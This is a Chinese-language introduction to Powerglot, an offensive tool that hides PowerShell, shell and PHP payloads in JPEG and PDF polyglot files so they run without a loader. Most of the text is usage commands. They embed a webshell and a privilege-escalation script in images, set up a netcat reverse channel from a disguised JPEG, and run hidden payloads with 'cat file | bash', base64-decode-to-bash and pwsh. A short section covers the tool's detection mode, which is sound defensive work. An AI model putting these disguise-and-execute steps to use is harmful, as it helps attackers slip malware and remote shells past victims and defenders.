Powerglot
Powerglot是一款功能强大的攻击性PowerShell脚本编码工具,该工具基于Polyglots实现其功能。本质上来说,Powerglot是一款攻击性安全工具,适用于恶意软件、权限提升、横向渗透和反向Shell等方向。
Powerglot可以使用Polyglots来对各种类型的脚本进行编码,比如说攻击性PowerShell脚本,而且还不需要加载器即可运行Payload。
在红队演习或其他攻击性任务中,Payload的伪装/隐藏一般是通过隐写术来完成的,尤其是在躲避网络层保护机制的时候,这也是PowerShell Payload脚本开发中比较常见的技术。近期的一些恶意软件和APT组织也都会选择类似的方式来进行攻击,比如说APT32、APT37、Ursnif、Powload、LightNeuron/Turla、Platinum APT、Waterbug/Turla、Lokibot、dukes(幽灵行动)和Tianium等等。
Powerglot是一款基于Polyglots开发的多功能跨平台攻防工具,Powerglot允许开发人员将脚本代码(PowerShell、Shell脚本和PHP等)隐写在数字图像中,目前该工具的开发人员也正在添加新的文件格式支持。跟其他攻击性工具或恶意软件不同的是,Powerglot不需要任何加载器就可以执行隐藏在目标文件中的信息了,这样可以将恶意程序在目标系统上的噪声降低到最小。
Powerglot在攻击/渗透任务中有着明确的用途,但它也适用于蓝队研究人员。据我们所知,该工具是第一个通用且完全开源的攻击性编码工具,它可以帮助广大研究人员使用Polyglots来搜索隐藏信息,而这些信息可以帮助开发人员在目标系统中实现恶意软件的隐藏或持久性感染。
功能介绍
- 将PowerShell、Shell脚本和PHP等代码编码进图像文件中,并且支持在不需要任何加载器的情况下来恢复/执行隐藏的信息(Payload)。PowerGlot适用于多种文件格式,但是目前仅支持JPEG和PDF,其他格式支持目前正在开发中。
- PowerGlot是一款完整开源的工具,可以帮助研究人员检测恶意代码,特别是使用Truepolyglot 或stegoSploit等公共工具隐藏的信息结果。目前,开发人员正在给PowerGlot添加JPEG、PNG、GIF、BMP、ZIP、PDF、MP3等格式的支持。
工具安装
代码语言:javascript复制# git clone https://github.com/mindcrypt/powerglot
# python3 powerglot
工具使用&参数
下面给出的是如何使用Powerglot来隐藏Payload的一些演示样例:
样例一-将PowerShell/PHP/Shell脚本隐藏在一个JPEG图像中:
代码语言:javascript复制# python3 powerglot.py -o payload.ps1 cat.jpg cat-hidden1.jpg
# python3 powerglot.py -o webshell.php cat.jpg cat-hidden2.jpg
# python3 powerglot.py -o shell.sh cat.jpg cat-hidden3.jpg
样例二-将一个提权Shell脚本隐藏在一个JPEG图像中:
代码语言:javascript复制# python3 powerglot.py -o linenum.sh cat.jpg cat-linenum.jpg
# file cat-linenum.jpg (It is a valid JPEG file)
# feh cat-lineum.jpg (The image is properly showed in an image viewer)
# We can execute the script in several ways:
a) cat cat-linenum | bash
b) chmod x cat-linenum.jpeg; ./cat-linenum.jpeg
样例三-将一个netcat反向信道隐藏在一个JPEG图像中:
代码语言:javascript复制# Attacker
# echo "nc 127.0.0.1 4444" > netcat.sh
# python3 powerglot.py -o netcat.sh cat.jpeg cat-netcat.jpeg
# nc -nvlp 4444
#Victim
# chmod x cat-netcat.jpg | ./cat-netcat.jpg
样例四-PDF隐藏:
代码语言:javascript复制# Create b64.sh with your favourite payload
base64 Linenum.sh -w 0 > b64.sh
# Edit b64.sh
echo "code in b64.sh" | base64 -d | bash;
# python3 powerglot -o b64.sh sample.pdf test.pdf
# file test.pdf
# xpdf test.pdf
# Execute payload
# cat test.pdf | bash or chmod x test.pdf; ./test.pdf
样例五:
代码语言:javascript复制# python3 powerglot.py -o script.ps1 cat.jpeg cat-ps.jpeg
# file cat-ps.jpeg
# feh cat-ps.jpeg
# Execute payload (example)
# cat cat-ps.jpeg | pwsh
PS /home/alfonso/PowerGlot/POWERSHELL> get-process;<#hola <# mundo#>
NPM(K) PM(M) WS(M) CPU(s) Id SI ProcessName
------ ----- ----- ------ -- -- -----------
0 0,00 2,70 0,00 830 829 (sd-pam)
0 0,00 0,00 0,00 75 0 acpi_thermal_pm
0 0,00 4,80 0,00 1217 854 agent
0 0,00 1,70 0,00 748 748 agetty
0 0,00 40,77 1,01 1198 854 applet.py
0 0,00 6,29 0,00 938 938 at-spi-bus-launcher
0 0,00 6,61 5,64 953 938 at-spi2-registryd
0 0,00 0,00 0,00 131 0 ata_sff
0 0,00 1,77 0,00 8906 …78 atom
0 0,00 218,81 585,95 8908 …78 atom
0 0,00 236,18 176,24 8947 …78 atom
0 0,00 142,14 2,51 9009 …78 atom
0 0,00 81,54 3,32 8932 …78 atom --type=gpu-process --enable-features=SharedArrayBuffer -…
0 0,00 39,44 0,01 8910 …78 atom --type=zygote --no-sandbox
0 0,00 5,62 0,11 1370 …70 bash
0 0,00 5,36 0,66 5278 …78 bash
0 0,00 6,34 1,48 6778 …78 bash
0 0,00 0,00 0,00 68 0 blkcg_punt_bio
0 0,00 46,73 2,20 1199 854 blueman-applet
0 0,00 50,25 1,64 1301 854 blueman-tray
在文件系统中检测隐藏代码
代码语言:javascript复制#python3 powerglot.py -d ./
--= [Detecting polyglots] --=
..............................................................
[Suspicious file]-[ ./cat-end-extra2.jpg ]..
[Suspicious file]-[ ./cat-end-extra3.jpg ][Polyglot Stegosploit][EOF Signature: */ -->]
.................................................................................
[Suspicious file]-[ ./cat-end-extra1.jpg ]..
许可证协议
本项目的开发与发布遵循GPL v3开源许可证协议。
项目地址
Powerglot:
https://github.com/mindcrypt/powerglot